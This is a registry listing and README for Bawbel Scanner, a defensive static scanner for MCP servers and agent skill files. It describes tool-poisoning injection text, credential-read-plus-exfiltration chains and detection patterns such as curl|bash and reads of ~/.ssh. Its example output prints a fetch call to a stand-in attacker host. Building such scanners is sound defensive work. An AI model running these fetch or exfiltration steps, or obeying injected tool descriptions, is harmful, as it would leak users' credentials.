Bawbel Scanner

io.github.bawbel由 GitHub 帳號 bawbel 發布v1.2.3更新於 Oct 24, 2026

Security scanner for MCP servers and skill files. Detects AVE vulnerabilities before production.

已驗證STDIO僅桌面開發者工具安全與監控

概覽

AI 產生的概覽

針對 MCP 伺服器與 agent skill 檔案的靜態安全掃描器,依 OWASP AIVSS 評分並找出組合攻擊鏈。

可以做什麼
  • 掃描 skill 檔案與目錄中的 AVE 類漏洞,支援文字、JSON、SARIF 輸出與嚴重度門檻
  • 產生修復報告,或只針對硬編碼憑證、不安全的 agent 委派鏈做專項掃描
  • 在不啟動伺服器的情況下抓取並掃描 MCP server card,並依 MCP 規格為伺服器清單評級
  • 對 skill 檔案做雜湊固定並檢查漂移,以偵測 rug pull
  • 記錄附理由、審查者與有效期限的抑制與已接受風險,並初始化專案的忽略與設定檔
適用情境
適合在信任第三方 MCP 伺服器或 agent skill 檔案之前進行審查,或為這類檔案在 CI 流程與 pre-commit 掛鉤中加入安全檢查。
執行需求
以本機 Python 套件執行(需 Python 3.10+),通常透過 uvx 或 pip 安裝。選用引擎需額外安裝:YARA、Semgrep、需要 API 金鑰的 LLM 引擎,以及由 BAWBEL_SANDBOX_ENABLED 啟用的 Docker 沙箱;沙箱預設會從 Docker Hub 拉取映像,也可在本機建置。
安裝前請注意
選用的 Docker 沙箱會在容器中執行被掃描的 skill 內容,除非接受該風險,否則請保持關閉。LLM 引擎會把內容傳送給模型供應商並需要 API 金鑰。掃描會讀取本機檔案,抑制與接受指令會把註解寫入被掃描檔案。結果會連結到外部記錄 API。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Bawbel Scanner,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

Bawbel Scanner

Static security scanner for MCP servers and agent skill files, with an OWASP AIVSS score on every finding. Never starts your MCP servers, and runs no scanned content unless you enable the optional Docker sandbox.

[PyPI version] [PyPI downloads] [Pepy total downloads] [License] [Python] [AIVSS aligned]

[AVE Records] [MCP Registry]


Bawbel never executes your MCP servers.

bash
pip install "bawbel-scanner[all]"bawbel scan ./skills/        # scan skill filesbawbel ssc https://server    # scan MCP server without starting it
[Bawbel Scanner demo]

Commands

CommandDescription
bawbel scan <path>Scan a skill file or directory for AVE vulnerabilities. Supports --recursive, --format text|json|sarif, --fail-on-severity, --no-ignore, --watch
bawbel report <path>Scan a component and show a full remediation guide with fix guidance per finding
bawbel creds <path>Focused scan: hardcoded credentials and secret exposure only
bawbel chain <path>Focused scan: unsafe agent delegation chains only
bawbel ssc <url>Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server
bawbel scan-server-card <url>Alias for ssc
bawbel conform <target>Score an MCP server manifest against the MCP specification (A+ to F grade)
bawbel scan-conformance <target>Alias for conform
bawbel accept <id> <file>Mark a finding as a false positive or accepted risk: inserts a justified suppression comment with reviewer and optional expiry
bawbel pin <path>Hash skill files and save to .bawbel-pins.json for rug pull detection
bawbel check-pins <path>Check skill files for drift against .bawbel-pins.json
bawbel cp <path>Alias for check-pins
bawbel initInitialise Bawbel Scanner in a project: generates .bawbelignore and bawbel.yml
bawbel versionShow version and detection engine status

Why Bawbel

BawbelNVIDIA SkillSpectorSnyk agent-scanCisco DefenseClaw
Starts MCP servers during a scanNeverNeverYes (stdio servers)?
Runs scanned skill contentOnly in the optional Docker sandbox stage, off by defaultNever??
Open vulnerability databaseYes (AVE, 87 records, public API)No (internal rule IDs)No (internal rule IDs)?
OWASP AIVSS v0.8 scoresYesNo (custom 0-100 risk score)No?
Compound attack chain detectionYes (12 AVE capability chains)Yes (TT1-TT5 taint flows + AST8 chain)Yes (chain count not published)?
MCP spec conformance grading (A+ to F)YesNoNo?
Git-committed pin / rug pull detectionYesNoNo?
Suppression with expiry and audit trailYes (reason, reviewer, expiry)Baseline (glob and fingerprint, no expiry)Baseline (ignore flags, no expiry)?
Per-scan LLM usage and cost telemetryNo (tracked in #79)Yes (metadata.inference_usage)No?
SARIF 2.1.0 outputYesYesNo?
LicenseApache 2.0Apache 2.0Apache 2.0Apache 2.0

? means not verifiable from each project's public README at the time of writing (2026-09-12). Sources for every other cell are listed in the PR description.


How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

  your file      |      v  [ Pre-processing ]    code fence stripping    negation context detection      |      v  [ Stage 0: Magika ]    ML content-type verification    gates the text engines below if content type is dangerous      |      v  [ Detection engines ]  (run in parallel)    1a  Pattern    40 regex rules, stdlib only, always on    1b  YARA       39 binary/behavioral rules    1c  Semgrep    41 structural rules    2   LLM        semantic analysis via LiteLLM    3   Sandbox    Docker behavioral sandbox      |      v  [ Deduplication ]    merge by (ave_id, line)    pattern > yara > semgrep > llm > sandbox priority      |      v  [ Toxic flow analysis ]    map findings to capability tags    check all pairs against 12 chain definitions      |      v  [ ScanResult ]    findings[]          active findings, sorted by severity    suppressed_findings[]    accepted_findings[] new in v1.2.0    toxic_flows[]    risk_score          max(findings, toxic_flows)    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run across the pipeline. Results merge before toxic flow analysis:

  Stage 0    Magika engine             ML-based content-type verification, gates the engines below             pip install "bawbel-scanner[all]"
  Stage 1a   Pattern engine             40 regex rules, no deps, < 5ms             always active
  Stage 1b   YARA engine             39 rules, multi-condition matching             pip install "bawbel-scanner[yara]"
  Stage 1c   Semgrep engine             41 structural rules, multi-line context             pip install "bawbel-scanner[semgrep]"
  Stage 2    LLM engine             semantic analysis, catches synonym attacks             pip install "bawbel-scanner[llm]" + API key
  Stage 3    Sandbox engine             dynamic behavioral analysis in Docker             BAWBEL_SANDBOX_ENABLED=true
             +-----------+  All  ----> | dedup     | ----> findings[]  results    | sort      |       sorted by severity             +-----------+                  |                  v             toxic flow             analysis

False positive reduction

Eight layers run automatically before a finding is reported:

  file content      |      v  FP-1  code fence stripping       ~60% reduction      |         content inside ``` blanked before scan      |      v  FP-2  negation context           ~15% reduction      |         "Bad example:", "Never do this:" suppresses      |      v  FP-3  confidence scoring         ~10% reduction      |         docs/ examples/ paths reduce confidence      |      v  FP-4  LLM meta-analyzer          ~7% reduction      |         medium-confidence findings reviewed by LLM      |      v  FP-5a inline bawbel-ignore       per line      |         <!-- bawbel-ignore -->      |      v  FP-5b block suppression          per section      |         <!-- bawbel-ignore-start/end -->      |      v  FP-5c .bawbelignore patterns     per file      |         gitignore-style glob rules      |      v  FP-6  justified suppression      per finding               requires reason + reviewer + optional expiry               audit trail in accepted_findings[]
LayerMechanismFP reduction
FP-1Code fence stripping~60%
FP-2Preceding-line negation context~15%
FP-3Confidence scoring (path, line context)~10%
FP-4LLM meta-analyzer (optional)~7%
FP-5aInline <!-- bawbel-ignore -->per-line
FP-5bBlock suppressionper-section
FP-5c.bawbelignore patternsper-file
FP-6Justified suppression with audit trailper-finding

Every active finding carries a confidence field (0.0–1.0) that starts from the AVE-class baseline and is adjusted by FP-2 through FP-4 before appearing in output. confidence_band() maps it to "high" / "medium" / "low" for human display. See Evidence Lifecycle for the full pipeline.

See Suppression Guide for full details.


Toxic flow detection

A single fetch() call is a finding. A fetch() that retrieves credentials and then sends them to an external endpoint is an attack chain, and the two findings together are far more dangerous than either alone.

Bawbel detects these compound sequences as toxic flows. After deduplication, every finding is mapped to a capability tag. Bawbel then checks all pairs against 12 built-in chain definitions and raises a ToxicFlow when a dangerous combination is found.

Other scanners detect compound attacks too. NVIDIA SkillSpector, for example, ships a source-to-sink taint tracker (TT1-TT5) over its own AST, including a credential exfiltration chain. Bawbel's approach differs in what it operates on and what it emits: chains are composed from AVE capability tags rather than traced through an AST, so a flow is detected across natural-language instructions and configuration, not only executable code. Each flow carries a stable flow_id, its own AIVSS score, and the AVE IDs of its contributing findings.

  skill.md findings:    AVE-2026-00003  credential-read   (READ ~/.ssh/id_rsa)         AIVSS 6.8 MEDIUM    AVE-2026-00026  data-exfil        (POST to external endpoint)  AIVSS 6.8 MEDIUM          │                │          └───── chain ────┘                   │                   ▼  ToxicFlow: credential-exfiltration   AIVSS 9.8  CRITICAL    confidence: 0.83  (min of contributing baselines)

The toxic flow AIVSS (9.8) is higher than either individual finding (6.8), because the chain represents a complete, end-to-end exploit, not just a capability.

12 built-in chains:

FlowCapabilities requiredAIVSS
Credential Exfiltrationcredential-read + data-exfil9.8
Remote Code Executioncode-exec + external-fetch9.7
Supply Chain RCEsupply-chain + code-exec9.6
Goal Override + Executiongoal-hijack + code-exec9.5
Lateral Movement + Executionlateral-movement + code-exec9.4
Tool Poisoning + Exfiltrationtool-poison + data-exfil9.3
Identity Spoof + Escalationidentity-spoof + privilege-escalation9.2
Persistence + Exfiltrationpersistence + data-exfil9.1
Context Inject + Memory Writecontext-inject + memory-write8.9
Goal Override + Exfiltrationgoal-hijack + data-exfil8.8
Scope Expansion + Exfiltrationscope-expansion + data-exfil8.7
Covert Channel + Persistencecovert-channel + persistence8.6

Toxic flow in JSON output:

json
{  "flow_id": "credential-exfiltration",  "title": "Credential Exfiltration Chain",  "severity": "CRITICAL",  "aivss_score": 9.8,  "confidence": 0.83,  "ave_ids": ["AVE-2026-00003", "AVE-2026-00026"],  "capabilities": ["credential-read", "data-exfil"],  "owasp_mcp": ["MCP06", "MCP07"],  "remediation": "Remove credential access. Block egress to untrusted endpoints."}

confidence is min(baseline confidence) across the contributing findings: the weakest link in the chain. A chain is only as confident as its least certain component.

Adding a new flow requires one entry in scanner/core/toxic_flows/flows.py. No other files need to change.


Install

pip

bash
pip install bawbel-scanner            # core - pattern engine onlypip install "bawbel-scanner[yara]"    # + YARA rulespip install "bawbel-scanner[semgrep]" # + Semgrep rulespip install "bawbel-scanner[llm]"     # + LLM semantic enginepip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

ImageEnginesBest for
bawbel/scanner:latest · 1.2.3PatternLightweight CI pipelines
bawbel/scanner:full · 1.2.3-fullPattern + YARARecommended for most users

The published images are v1.2.3; no 1.3.0 image has been pushed yet. For v1.3.0 features in a container, build from source with the command below.

bash
# Scan a local directory (recommended image)docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive
# Lightweight CI scandocker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive
# Build with all enginesdocker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true


Quick start

bash
# Scan a skills directorybawbel scan ./skills/
# Scan recursivelybawbel scan ./skills/ --recursive
# Full remediation report for one filebawbel report ./skill.md
# Scan an MCP server manifest without starting the serverbawbel ssc https://server.example.com
# Pin skill files and detect rug pullsbawbel pin ./skills/ && git add .bawbel-pins.jsonbawbel check-pins ./skills/

Example output:

CRITICAL  AVE-2026-00001  External instruction fetch detected          line 3  fetch("https://attacker.io/payload.md")          AIVSS 8.0  MCP03, MCP04          https://api.piranha.bawbel.io/records/AVE-2026-00001
HIGH      AVE-2026-00002  Tool description behavioral injection          line 12  "IMPORTANT: before calling this tool, first..."          AIVSS 7.3  MCP03, MCP10          https://api.piranha.bawbel.io/records/AVE-2026-00002
Toxic flow detected  CREDENTIAL_EXFIL_CHAIN  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL
2 findings  1 toxic flow  18ms

Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

markdown
<!-- bawbel-ignore: AVE-2026-00001     reason: Internal registry endpoint, not attacker-controlled     reviewer: chaksaray     reviewed: 2026-05-16-->fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

markdown
<!-- bawbel-accept: AVE-2026-00047     reason: Placeholder replaced at deploy time, not a real credential     reviewer: chaksaray     reviewed: 2026-05-16     expires: 2026-08-16-->

Or use the CLI to insert the comment directly:

bash
bawbel accept AVE-2026-00001 ./skill.md --line 7 \  --reason "Internal registry endpoint" \  --type false-positive
bawbel accept AVE-2026-00047 ./skill.md --line 3 \  --reason "Placeholder value, replaced at deploy" \  --type accepted-risk --expires 90d
# List all accepted findingsbawbel accept --list
# Show findings expiring within 30 days (exits 1 in CI)bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.


Focused scans

Run a credential-only or delegation-only scan for targeted triage:

bash
# Hardcoded credentials onlybawbel creds ./skills/ --recursive
# Unsafe agent delegation chains onlybawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.


AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

json
{  "rule_id": "bawbel-external-fetch",  "ave_id": "AVE-2026-00001",  "aivss_score": 8.0,  "severity": "HIGH",  "aivss": {    "cvss_base": 8.5,    "aars": 7.5,    "thm": 1.0,    "mitigation_factor": 1.0,    "aivss_severity": "HIGH",    "spec_version": "0.8"  },  "confidence": 0.98,  "evidence_kind": "multi_engine",  "detection_stage": "static_detection",  "detection_layer": "content",  "owasp_mcp": ["MCP03", "MCP04"],  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"}

AVE: the taxonomy behind every finding

Bawbel Scanner implements AVE (Agentic Vulnerability Enumeration), the behavioral classification standard for agentic AI components.

AVE assigns stable identifiers to distinct attack classes, each with an AIVSS score, a behavioral fingerprint, OWASP MCP Top 10 and MITRE ATLAS mappings, and indicators of compromise. Every finding Bawbel produces maps to an AVE ID so teams using different scanners speak the same language.

AVE-2026-00001  Metamorphic Payload via External Config Fetch   AIVSS 8.0  HIGHAVE-2026-00002  Tool Poisoning via Description Manipulation     AIVSS 7.3  HIGHAVE-2026-00046  MCP Tool Hook Hijacking                         AIVSS 9.2  CRITICAL... 87 records published total
Records published87 (AVE-2026-00001 to AVE-2026-00087)
Records with a detection rule in this scanner43 (42 by pattern, YARA, or Semgrep rules; AVE-2026-00024 by Magika)
Records with scanner metadata only, no rule8 (AVE-2026-00041 to 00045, 00049 to 00051)
Schema1.1.0, validates at aveproject.org/schema.html
AIVSSv0.8, every record scored
CrosswalksOWASP MCP Top 10, MITRE ATLAS, NIST AI RMF, OWASP AST10

44 of the 87 published records have no detection rule in this scanner. 27 of them are static_detection records that a rule could catch and are the scanner's backlog. The other 17 are runtime-stage records (15 runtime_observed, 2 runtime_drift_detected): they describe behavior that only shows up while an agent runs, so static analysis of a file cannot detect them by design. The record-by-record list, and the commands that produce every count in this section, are in bawbel/scanner#79.

Any scanner can emit AVE IDs. See aveproject.org for the implementer guide and record index.


Detection engines

EngineWhat it doesInstall
Pattern40 regex rules mapped to AVE recordsAlways on
YARA39 binary and behavioral YARA rules[yara]
Semgrep41 structural Semgrep rules[semgrep]
LLMSemantic analysis of intent and context[llm]
MagikaML-based content type verification[all]
SandboxDynamic behavioral analysis in DockerSee below

Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime: outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

bash
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

yaml
# bawbel.ymlsandbox:  enabled: true

Image setup (three modes)

BAWBEL_SANDBOX_IMAGEWhat happens
default (recommended)Checks local Docker cache first. If not found, pulls bawbel/sandbox:latest from Docker Hub once and caches it. Subsequent scans use the cache; no network needed.
localSkips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments.
<custom-image>Uses your own image. Point to any registry: registry.company.com/bawbel/sandbox@sha256:abc123

First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache: instant, no network call.

First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

bash
# Recommended: default (auto-pull, cached)BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md
# Offline / air-gapped: build locallyBAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md
# Custom enterprise imageBAWBEL_SANDBOX_ENABLED=true \  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \  bawbel scan ./skill.md

What the sandbox detects

CategoryExamples
Network egressConnections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites
Credential accessReads of ~/.ssh/, .env, private key files
Filesystem writesWrites to ~/.bashrc, ~/.zshrc, cron directories
Process injectioncurl|bash, wget|bash, eval(), exec(), unexpected pip install

CI/CD

yaml
# .github/workflows/security.yml# The SARIF upload needs: permissions: security-events: write- name: Bawbel scan  id: bawbel  uses: bawbel/integrations@v1  with:    path: ./skills/    fail-on-severity: high    format: sarif
- name: Upload to GitHub Security  if: always()  uses: github/codeql-action/upload-sarif@v3  with:    sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

The action is maintained in bawbel/integrations. It writes the SARIF file itself and exposes its path as the sarif-file output.

Pre-commit (scans staged .md, .json, .yaml, .yml, and .txt files):

yaml
# .pre-commit-config.yamlrepos:  - repo: local    hooks:      - id: bawbel-scan        name: bawbel scan        entry: python -m scanner.bawbel_pre_commit --fail-on-severity high        language: python        additional_dependencies: ["bawbel-scanner==1.3.0"]        files: \.(md|json|ya?ml|txt)$

Output formats

bash
bawbel scan ./skills/ --format text    # human-readable (default)bawbel scan ./skills/ --format json    # machine-readablebawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

Related

aveproject.orgAVE: Agentic Vulnerability Enumeration standard (87 records, schema, crosswalks)
api.aveproject.orgAVE records API, one JSON record per ID
aivss.owasp.orgOWASP AIVSS v0.8 scoring standard
bawbel.io/docsFull documentation

Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record. The coverage gap lists the published records with no rule yet.

bash
git clone https://github.com/bawbel/scannercd scannerpip install -e ".[dev,all]"pre-commit installpython -m pytest tests/ -v

Apache License 2.0 - Free forever - Maintained by Bawbel

bawbel.io . @bawbel_io . bawbel.io/docs

來源:README.md,提交 91c5b35

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v1.2.3最新Sep 16, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分